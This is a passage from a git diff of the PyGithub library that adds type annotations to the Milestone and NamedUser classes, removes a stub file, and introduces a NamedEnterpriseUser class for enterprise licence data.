self._completeIfNotSet(self._number) return self._number.value @property - def open_issues(self): - """ - :type: integer - """ + def open_issues(self) -> int: self._completeIfNotSet(self._open_issues) return self._open_issues.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/milestones/{number} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( - self, - title, - state=github.GithubObject.NotSet, - description=github.GithubObject.NotSet, - due_on=github.GithubObject.NotSet, - ): + self, title: str, state: Opt[str] = NotSet, description: Opt[str] = NotSet, due_on: Opt[date] = NotSet + ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/milestones/{number} `_ - :param title: string - :param state: string - :param description: string - :param due_on: date - :rtype: None """ assert isinstance(title, str), title - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert due_on is github.GithubObject.NotSet or isinstance( - due_on, datetime.date - ), due_on - post_parameters = { - "title": title, - } - if state is not github.GithubObject.NotSet: - post_parameters["state"] = state - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if due_on is not github.GithubObject.NotSet: - post_parameters["due_on"] = due_on.strftime("%Y-%m-%d") - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters + assert state is NotSet or isinstance(state, str), state + assert description is NotSet or isinstance(description, str), description + assert due_on is NotSet or isinstance(due_on, date), due_on + post_parameters = NotSet.remove_unset_items( + { + "title": title, + "state": state, + "description": description, + } ) + + if is_defined(due_on): + post_parameters["due_on"] = due_on.strftime("%Y-%m-%d") + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_labels(self): + def get_labels(self) -> PaginatedList[github.Label.Label]: """ :calls: `GET /repos/{owner}/{repo}/milestones/{number}/labels `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Label.Label` """ - return github.PaginatedList.PaginatedList( - github.Label.Label, self._requester, f"{self.url}/labels", None - ) + return PaginatedList(github.Label.Label, self._requester, f"{self.url}/labels", None) @property - def _identity(self): + def _identity(self) -> int: return self.number - def _initAttributes(self): - self._closed_issues = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._creator = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._due_on = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._labels_url = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._open_issues = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "closed_issues" in attributes: # pragma no branch self._closed_issues = self._makeIntAttribute(attributes["closed_issues"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch - self._creator = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["creator"] - ) + self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "due_on" in attributes: # pragma no branch diff --git a/github/Milestone.pyi b/github/Milestone.pyi deleted file mode 100644 index b0f41c8a8d..0000000000 --- a/github/Milestone.pyi +++ /dev/null @@ -1,49 +0,0 @@ -from datetime import date, datetime -from typing import Any, Dict, Optional, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.Label import Label -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList - -class Milestone(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> int: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def closed_issues(self) -> int: ... - @property - def created_at(self) -> datetime: ... - @property - def creator(self) -> NamedUser: ... - def delete(self) -> None: ... - @property - def description(self) -> str: ... - @property - def due_on(self) -> Optional[datetime]: ... - def edit( - self, - title: str, - state: Union[_NotSetType, str] = ..., - description: Union[_NotSetType, str] = ..., - due_on: Union[date, _NotSetType] = ..., - ) -> None: ... - def get_labels(self) -> PaginatedList[Label]: ... - @property - def id(self) -> int: ... - @property - def labels_url(self) -> str: ... - @property - def number(self) -> int: ... - @property - def open_issues(self) -> int: ... - @property - def state(self) -> str: ... - @property - def title(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/NamedEnterpriseUser.py b/github/NamedEnterpriseUser.py new file mode 100644 index 0000000000..513efadbc1 --- /dev/null +++ b/github/NamedEnterpriseUser.py @@ -0,0 +1,197 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 YugoHino # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from typing import Any, Dict + +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class NamedEnterpriseUser(CompletableGithubObject): + """ + This class represents NamedEnterpriseUsers. The reference can be found here https://docs.github.com/en/enterprise-cloud@latest/rest/enterprise-admin/license#list-enterprise-consumed-licenses + """ + + def _initAttributes(self) -> None: + self._github_com_login: Attribute[str] = NotSet + self._github_com_name: Attribute[str] = NotSet + self._enterprise_server_user_ids: Attribute[list] = NotSet + self._github_com_user: Attribute[bool] = NotSet + self._enterprise_server_user: Attribute[bool] = NotSet + self._visual_studio_subscription_user: Attribute[bool] = NotSet + self._license_type: Attribute[str] = NotSet + self._github_com_profile: Attribute[str] = NotSet + self._github_com_member_roles: Attribute[list] = NotSet + self._github_com_enterprise_roles: Attribute[list] = NotSet + self._github_com_verified_domain_emails: Attribute[list] = NotSet + self._github_com_saml_name_id: Attribute[str] = NotSet + self._github_com_orgs_with_pending_invites: Attribute[list] = NotSet + self._github_com_two_factor_auth: Attribute[bool] = NotSet + self._enterprise_server_primary_emails: Attribute[list] = NotSet + self._visual_studio_license_status: Attribute[str] = NotSet + self._visual_studio_subscription_email: Attribute[str] = NotSet + self._total_user_accounts: Attribute[int] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"login": self._github_com_login.value}) + + @property + def github_com_login(self) -> str: + self._completeIfNotSet(self._github_com_login) + return self._github_com_login.value + + @property + def github_com_name(self) -> str: + self._completeIfNotSet(self._github_com_name) + return self._github_com_name.value + + @property + def enterprise_server_user_ids(self) -> list: + self._completeIfNotSet(self._enterprise_server_user_ids) + return self._enterprise_server_user_ids.value + + @property + def github_com_user(self) -> bool: + self._completeIfNotSet(self._github_com_user) + return self._github_com_user.value + + @property + def enterprise_server_user(self) -> bool: + self._completeIfNotSet(self._enterprise_server_user) + return self._enterprise_server_user.value + + @property + def visual_studio_subscription_user(self) -> bool: + self._completeIfNotSet(self._visual_studio_subscription_user) + return self._visual_studio_subscription_user.value + + @property + def license_type(self) -> str: + self._completeIfNotSet(self._license_type) + return self._license_type.value + + @property + def github_com_profile(self) -> str: + self._completeIfNotSet(self._github_com_profile) + return self._github_com_profile.value + + @property + def github_com_member_roles(self) -> list: + self._completeIfNotSet(self._github_com_member_roles) + return self._github_com_member_roles.value + + @property + def github_com_enterprise_roles(self) -> list: + self._completeIfNotSet(self._github_com_enterprise_roles) + return self._github_com_enterprise_roles.value + + @property + def github_com_verified_domain_emails(self) -> list: + self._completeIfNotSet(self._github_com_verified_domain_emails) + return self._github_com_verified_domain_emails.value + + @property + def github_com_saml_name_id(self) -> str: + self._completeIfNotSet(self._github_com_saml_name_id) + return self._github_com_saml_name_id.value + + @property + def github_com_orgs_with_pending_invites(self) -> list: + self._completeIfNotSet(self._github_com_orgs_with_pending_invites) + return self._github_com_orgs_with_pending_invites.value + + @property + def github_com_two_factor_auth(self) -> bool: + self._completeIfNotSet(self._github_com_two_factor_auth) + return self._github_com_two_factor_auth.value + + @property + def enterprise_server_primary_emails(self) -> list: + self._completeIfNotSet(self._enterprise_server_primary_emails) + return self._enterprise_server_primary_emails.value + + @property + def visual_studio_license_status(self) -> str: + self._completeIfNotSet(self._visual_studio_license_status) + return self._visual_studio_license_status.value + + @property + def visual_studio_subscription_email(self) -> str: + self._completeIfNotSet(self._visual_studio_subscription_email) + return self._visual_studio_subscription_email.value + + @property + def total_user_accounts(self) -> int: + self._completeIfNotSet(self._total_user_accounts) + return self._total_user_accounts.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "github_com_login" in attributes: # pragma no branch + self._github_com_login = self._makeStringAttribute(attributes["github_com_login"]) + if "github_com_name" in attributes: # pragma no branch + self._github_com_name = self._makeStringAttribute(attributes["github_com_name"]) + if "enterprise_server_user_ids" in attributes: # pragma no branch + self._enterprise_server_user_ids = self._makeListOfStringsAttribute( + attributes["enterprise_server_user_ids"] + ) + if "github_com_user" in attributes: # pragma no branch + self._github_com_user = self._makeBoolAttribute(attributes["github_com_user"]) + if "enterprise_server_user" in attributes: # pragma no branch + self._enterprise_server_user = self._makeBoolAttribute(attributes["enterprise_server_user"]) + if "visual_studio_subscription_user" in attributes: # pragma no branch + self._visual_studio_subscription_user = self._makeBoolAttribute( + attributes["visual_studio_subscription_user"] + ) + if "license_type" in attributes: # pragma no branch + self._license_type = self._makeStringAttribute(attributes["license_type"]) + if "github_com_profile" in attributes: # pragma no branch + self._github_com_profile = self._makeStringAttribute(attributes["github_com_profile"]) + if "github_com_member_roles" in attributes: # pragma no branch + self._github_com_member_roles = self._makeListOfStringsAttribute(attributes["github_com_member_roles"]) + if "github_com_enterprise_roles" in attributes: # pragma no branch + self._github_com_enterprise_roles = self._makeListOfStringsAttribute( + attributes["github_com_enterprise_roles"] + ) + if "github_com_verified_domain_emails" in attributes: # pragma no branch + self._github_com_verified_domain_emails = self._makeListOfStringsAttribute( + attributes["github_com_verified_domain_emails"] + ) + if "github_com_saml_name_id" in attributes: # pragma no branch + self._github_com_saml_name_id = self._makeStringAttribute(attributes["github_com_saml_name_id"]) + if "github_com_orgs_with_pending_invites" in attributes: # pragma no branch + self._github_com_orgs_with_pending_invites = self._makeListOfStringsAttribute( + attributes["github_com_orgs_with_pending_invites"] + ) + if "github_com_two_factor_auth" in attributes: # pragma no branch + self._github_com_two_factor_auth = self._makeBoolAttribute(attributes["github_com_two_factor_auth"]) + if "enterprise_server_primary_emails" in attributes: # pragma no branch + self._enterprise_server_primary_emails = self._makeListOfStringsAttribute( + attributes["enterprise_server_primary_emails"] + ) + if "visual_studio_license_status" in attributes: # pragma no branch + self._visual_studio_license_status = self._makeStringAttribute(attributes["visual_studio_license_status"]) + if "visual_studio_subscription_email" in attributes: # pragma no branch + self._visual_studio_subscription_email = self._makeStringAttribute( + attributes["visual_studio_subscription_email"] + ) + if "total_user_accounts" in attributes: # pragma no branch + self._total_user_accounts = self._makeIntAttribute(attributes["total_user_accounts"]) diff --git a/github/NamedUser.py b/github/NamedUser.py index df5dc5ba69..fd5ef031af 100644 --- a/github/NamedUser.py +++ b/github/NamedUser.py @@ -9,13 +9,28 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # +# Copyright 2018 Bruce Richardson # # Copyright 2018 Iraquitan Cordeiro Filho # +# Copyright 2018 Riccardo Pittau # # Copyright 2018 Steve Kowalik # # Copyright 2018 Victor Granic # # Copyright 2018 Wan Liuyang # # Copyright 2018 namc # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Pavan Kunisetty # +# Copyright 2019 Shibasis Patel # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Surya Teja <94suryateja@gmail.com> # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Daniel Haas # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -35,19 +50,27 @@ # # ################################################################################ -import datetime +from __future__ import annotations -import github.Event -import github.Gist -import github.GithubObject -import github.NamedUser -import github.Organization -import github.PaginatedList -import github.Permissions -import github.Plan -import github.Repository +import urllib.parse +from datetime import datetime +from typing import TYPE_CHECKING, Any -from . import Consts +import github # not using this form causes a circular import cycle +from github import Consts +from github.GithubObject import Attribute, NotSet, Opt, is_defined +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.Event import Event + from github.Gist import Gist + from github.Membership import Membership + from github.Organization import Organization + from github.Permissions import Permissions + from github.Plan import Plan + from github.Project import Project + from github.Repository import Repository + from github.UserKey import UserKey class NamedUser(github.GithubObject.CompletableGithubObject): @@ -55,445 +78,334 @@ class NamedUser(github.GithubObject.CompletableGithubObject): This class represents NamedUsers. The reference can be found here https://docs.github.com/en/rest/reference/users#get-a-user """ - def __repr__(self): + def _initAttributes(self) -> None: + self._avatar_url: Attribute[str] = NotSet + self._bio: Attribute[str | None] = NotSet + self._blog: Attribute[str | None] = NotSet + self._collaborators: Attribute[int] = NotSet + self._company: Attribute[str | None] = NotSet + self._contributions: Attribute[int] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._disk_usage: Attribute[int] = NotSet + self._email: Attribute[str | None] = NotSet + self._events_url: Attribute[str] = NotSet + self._followers: Attribute[int] = NotSet + self._followers_url: Attribute[str] = NotSet + self._following: Attribute[int] = NotSet + self._following_url: Attribute[str] = NotSet + self._gists_url: Attribute[str] = NotSet + self._gravatar_id: Attribute[str | None] = NotSet + self._hireable: Attribute[bool | None] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._invitation_teams_url: Attribute[str] = NotSet + self._inviter: Attribute[NamedUser] = NotSet + self._location: Attribute[str | None] = NotSet + self._login: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._organizations_url: Attribute[str] = NotSet + self._owned_private_repos: Attribute[int] = NotSet + self._permissions: Attribute[Permissions] = NotSet + self._plan: Attribute[Plan] = NotSet + self._private_gists: Attribute[int] = NotSet + self._public_gists: Attribute[int] = NotSet + self._public_repos: Attribute[int] = NotSet + self._received_events_url: Attribute[str] = NotSet + self._repos_url: Attribute[str] = NotSet + self._role: Attribute[str] = NotSet + self._site_admin: Attribute[bool] = NotSet + self._starred_url: Attribute[str] = NotSet + self._subscriptions_url: Attribute[str] = NotSet + self._suspended_at: Attribute[datetime | None] = NotSet + self._team_count: Attribute[int] = NotSet + self._total_private_repos: Attribute[int] = NotSet + self._twitter_username: Attribute[str | None] = NotSet + self._type: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"login": self._login.value}) @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property - def twitter_username(self): - """ - :type: string - """ + def twitter_username(self) -> str | None: self._completeIfNotSet(self._twitter_username) return self._twitter_username.value - def __hash__(self): + def __hash__(self) -> int: return hash((self.id, self.login)) - def __eq__(self, other): - return ( - isinstance(other, type(self)) - and self.login == other.login - and self.id == other.id - ) + def __eq__(self, other: Any) -> bool: + return isinstance(other, type(self)) and self.login == other.login and self.id == other.id @property - def avatar_url(self): - """ - :type: string - """ + def avatar_url(self) -> str: self._completeIfNotSet(self._avatar_url) return self._avatar_url.value @property - def bio(self): - """ - :type: string - """ + def bio(self) -> str | None: self._completeIfNotSet(self._bio) return self._bio.value @property - def blog(self): - """ - :type: string - """ + def blog(self) -> str | None: self._completeIfNotSet(self._blog) return self._blog.value @property - def collaborators(self): - """ - :type: integer - """ + def collaborators(self) -> int | None: self._completeIfNotSet(self._collaborators) return self._collaborators.value @property - def company(self): - """ - :type: string - """ + def company(self) -> str | None: self._completeIfNotSet(self._company) return self._company.value @property - def contributions(self): - """ - :type: integer - """ + def contributions(self) -> int: self._completeIfNotSet(self._contributions) return self._contributions.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def disk_usage(self): - """ - :type: integer - """ + def disk_usage(self) -> int: self._completeIfNotSet(self._disk_usage) return self._disk_usage.value @property - def email(self): - """ - :type: string - """ + def email(self) -> str | None: self._completeIfNotSet(self._email) return self._email.value @property - def events_url(self): - """ - :type: string - """ + def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property - def followers(self): - """ - :type: integer - """ + def followers(self) -> int: self._completeIfNotSet(self._followers) return self._followers.value @property - def followers_url(self): - """ - :type: string - """ + def followers_url(self) -> str: self._completeIfNotSet(self._followers_url) return self._followers_url.value @property - def following(self): - """ - :type: integer - """ + def following(self) -> int: self._completeIfNotSet(self._following) return self._following.value @property - def following_url(self): - """ - :type: string - """ + def following_url(self) -> str: self._completeIfNotSet(self._following_url) return self._following_url.value @property - def gists_url(self): - """ - :type: string - """ + def gists_url(self) -> str: self._completeIfNotSet(self._gists_url) return self._gists_url.value @property - def gravatar_id(self): - """ - :type: string - """ + def gravatar_id(self) -> str | None: self._completeIfNotSet(self._gravatar_id) return self._gravatar_id.value @property - def hireable(self): - """ - :type: bool - """ + def hireable(self) -> bool | None: self._completeIfNotSet(self._hireable) return self._hireable.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def invitation_teams_url(self): - """ - :type: string - """ + def invitation_teams_url(self) -> str: self._completeIfNotSet(self._invitation_teams_url) return self._invitation_teams_url.value @property - def inviter(self): - """ - :type: github.NamedUser.NamedUser - """ + def inviter(self) -> NamedUser: self._completeIfNotSet(self._inviter) return self._inviter.value @property - def location(self): - """ - :type: string - """ + def location(self) -> str | None: self._completeIfNotSet(self._location) return self._location.value @property - def login(self): - """ - :type: string - """ + def login(self) -> str: self._completeIfNotSet(self._login) return self._login.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str | None: self._completeIfNotSet(self._name) return self._name.value @property - def organizations_url(self): - """ - :type: string - """ + def organizations_url(self) -> str: self._completeIfNotSet(self._organizations_url) return self._organizations_url.value @property - def owned_private_repos(self): - """ - :type: integer - """ + def owned_private_repos(self) -> int | None: self._completeIfNotSet(self._owned_private_repos) return self._owned_private_repos.value @property - def permissions(self): - """ - :type: :class:`github.Permissions.Permissions` - """ + def permissions(self) -> Permissions: self._completeIfNotSet(self._permissions) return self._permissions.value @property - def plan(self): - """ - :type: :class:`github.Plan.Plan` - """ + def plan(self) -> Plan | None: self._completeIfNotSet(self._plan) return self._plan.value @property - def private_gists(self): - """ - :type: integer - """ + def private_gists(self) -> int | None: self._completeIfNotSet(self._private_gists) return self._private_gists.value @property - def public_gists(self): - """ - :type: integer - """ + def public_gists(self) -> int: self._completeIfNotSet(self._public_gists) return self._public_gists.value @property - def public_repos(self): - """ - :type: integer - """ + def public_repos(self) -> int: self._completeIfNotSet(self._public_repos) return self._public_repos.value @property - def received_events_url(self): - """ - :type: string - """ + def received_events_url(self) -> str: self._completeIfNotSet(self._received_events_url) return self._received_events_url.value @property - def repos_url(self): - """ - :type: string - """ + def repos_url(self) -> str: self._completeIfNotSet(self._repos_url) return self._repos_url.value @property - def role(self): - """ - :type: string - """ + def role(self) -> str: self._completeIfNotSet(self._role) return self._role.value @property - def site_admin(self): - """ - :type: bool - """ + def site_admin(self) -> bool: self._completeIfNotSet(self._site_admin) return self._site_admin.value @property - def starred_url(self): - """ - :type: string - """ + def starred_url(self) -> str: self._completeIfNotSet(self._starred_url) return self._starred_url.value @property - def subscriptions_url(self): - """ - :type: string - """ + def subscriptions_url(self) -> str: self._completeIfNotSet(self._subscriptions_url) return self._subscriptions_url.value @property - def suspended_at(self): - """ - :type: datetime.datetime - """ + def suspended_at(self) -> datetime | None: self._completeIfNotSet(self._suspended_at) return self._suspended_at.value @property - def team_count(self): - """ - :type: integer - """ + def team_count(self) -> int: self._completeIfNotSet(self._team_count) return self._team_count.value @property - def total_private_repos(self): - """ - :type: integer - """ + def total_private_repos(self) -> int | None: self._completeIfNotSet(self._total_private_repos) return self._total_private_repos.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def get_events(self): + def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ - return github.PaginatedList.PaginatedList( - github.Event.Event, self._requester, f"{self.url}/events", None - ) + return github.PaginatedList.PaginatedList(github.Event.Event, self._requester, f"{self.url}/events", None) - def get_followers(self): + def get_followers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /users/{user}/followers `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - NamedUser, self._requester, f"{self.url}/followers", None - ) + return github.PaginatedList.PaginatedList(NamedUser, self._requester, f"{self.url}/followers", None) - def get_following(self): + def get_following(self) -> PaginatedList[NamedUser]: """ :calls: `GET /users/{user}/following `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( - NamedUser, self._requester, f"{self.url}/following", None - ) + return github.PaginatedList.PaginatedList(NamedUser, self._requester, f"{self.url}/following", None) - def get_gists(self, since=github.GithubObject.NotSet): + def get_gists(self, since: Opt[datetime] = NotSet) -> PaginatedList[Gist]: """ :calls: `GET /users/{user}/gists `_ - :param since: datetime.datetime format YYYY-MM-DDTHH:MM:SSZ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Gist.Gist` """ - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since + assert since is NotSet or isinstance(since, datetime), since url_parameters = dict() - if since is not github.GithubObject.NotSet: + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return github.PaginatedList.PaginatedList( github.Gist.Gist, self._requester, f"{self.url}/gists", url_parameters ) - def get_keys(self): + def get_keys(self) -> PaginatedList[UserKey]: """ :calls: `GET /users/{user}/keys `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.UserKey.UserKey` """ - return github.PaginatedList.PaginatedList( - github.UserKey.UserKey, self._requester, f"{self.url}/keys", None - ) + return github.PaginatedList.PaginatedList(github.UserKey.UserKey, self._requester, f"{self.url}/keys", None) - def get_orgs(self): + def get_orgs(self) -> PaginatedList[Organization]: """ :calls: `GET /users/{user}/orgs `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Organization.Organization` """ return github.PaginatedList.PaginatedList( github.Organization.Organization, self._requester, f"{self.url}/orgs", None ) - def get_projects(self, state="open"): + def get_projects(self, state: str = "open") -> PaginatedList[Project]: """ :calls: `GET /users/{user}/projects `_ - :param state: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Project.Project` """ assert isinstance(state, str), state url_parameters = {"state": state} @@ -505,19 +417,17 @@ def get_projects(self, state="open"): headers={"Accept": Consts.mediaTypeProjectsPreview}, ) - def get_public_events(self): + def get_public_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/events/public `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ return github.PaginatedList.PaginatedList( github.Event.Event, self._requester, f"{self.url}/events/public", None ) - def get_public_received_events(self): + def get_public_received_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/received_events/public `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ return github.PaginatedList.PaginatedList( github.Event.Event, @@ -526,53 +436,40 @@ def get_public_received_events(self): None, ) - def get_received_events(self): + def get_received_events(self) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/received_events `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Event.Event` """ return github.PaginatedList.PaginatedList( github.Event.Event, self._requester, f"{self.url}/received_events", None ) - def get_repo(self, name): + def get_repo(self, name: str) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ - :param name: string - :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name - headers, data = self._requester.requestJsonAndCheck( - "GET", f"/repos/{self.login}/{name}" - ) - return github.Repository.Repository( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"/repos/{self.login}/{name}") + return github.Repository.Repository(self._requester, headers, data, completed=True) def get_repos( self, - type=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - ): + type: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/repos `_ - :param type: string - :param sort: string - :param direction: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` - """ - assert type is github.GithubObject.NotSet or isinstance(type, str), type - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction + """ + assert type is NotSet or isinstance(type, str), type + assert sort is NotSet or isinstance(sort, str), sort + assert direction is NotSet or isinstance(direction, str), direction url_parameters = dict() - if type is not github.GithubObject.NotSet: + if type is not NotSet: url_parameters["type"] = type - if sort is not github.GithubObject.NotSet: + if sort is not NotSet: url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: + if direction is not NotSet: url_parameters["direction"] = direction return github.PaginatedList.PaginatedList( github.Repository.Repository, @@ -581,19 +478,17 @@ def get_repos( url_parameters, ) - def get_starred(self): + def get_starred(self) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/starred `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/starred", None ) - def get_subscriptions(self): + def get_subscriptions(self) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/subscriptions `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ return github.PaginatedList.PaginatedList( github.Repository.Repository, @@ -602,97 +497,38 @@ def get_subscriptions(self): None, ) - def get_watched(self): + def get_watched(self) -> PaginatedList[Repository]: """ :calls: `GET /users/{user}/watched `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/watched", None ) - def has_in_following(self, following): + def has_in_following(self, following: NamedUser) -> bool: """ :calls: `GET /users/{user}/following/{target_user} `_ - :param following: :class:`github.NamedUser.NamedUser` - :rtype: bool """ assert isinstance(following, github.NamedUser.NamedUser), following - status, headers, data = self._requester.requestJson( - "GET", f"{self.url}/following/{following._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"{self.url}/following/{following._identity}") return status == 204 @property - def _identity(self): + def _identity(self) -> str: return self.login - def get_organization_membership(self, org): + def get_organization_membership(self, org: str | Organization) -> Membership: """ :calls: `GET /orgs/{org}/memberships/{username} `_ - :param org: string or :class:`github.Organization.Organization` - :rtype: :class:`github.Membership.Membership` """ - assert isinstance(org, str) or isinstance( - org, github.Organization.Organization - ), org + assert isinstance(org, str) or isinstance(org, github.Organization.Organization), org if isinstance(org, github.Organization.Organization): - org = org.login - headers, data = self._requester.requestJsonAndCheck( - "GET", f"/orgs/{org}/memberships/{self.login}" - ) - return github.Membership.Membership( - self._requester, headers, data, completed=True - ) + org = org.login # type: ignore + org = urllib.parse.quote(org) + headers, data = self._requester.requestJsonAndCheck("GET", f"/orgs/{org}/memberships/{self.login}") + return github.Membership.Membership(self._requester, headers, data, completed=True) - def _initAttributes(self): - self._avatar_url = github.GithubObject.NotSet - self._bio = github.GithubObject.NotSet - self._blog = github.GithubObject.NotSet - self._collaborators = github.GithubObject.NotSet - self._company = github.GithubObject.NotSet - self._contributions = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._disk_usage = github.GithubObject.NotSet - self._email = github.GithubObject.NotSet - self._events_url = github.GithubObject.NotSet - self._followers = github.GithubObject.NotSet - self._followers_url = github.GithubObject.NotSet - self._following = github.GithubObject.NotSet - self._following_url = github.GithubObject.NotSet - self._gists_url = github.GithubObject.NotSet - self._gravatar_id = github.GithubObject.NotSet - self._hireable = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._invitation_teams_url = github.GithubObject.NotSet - self._inviter = 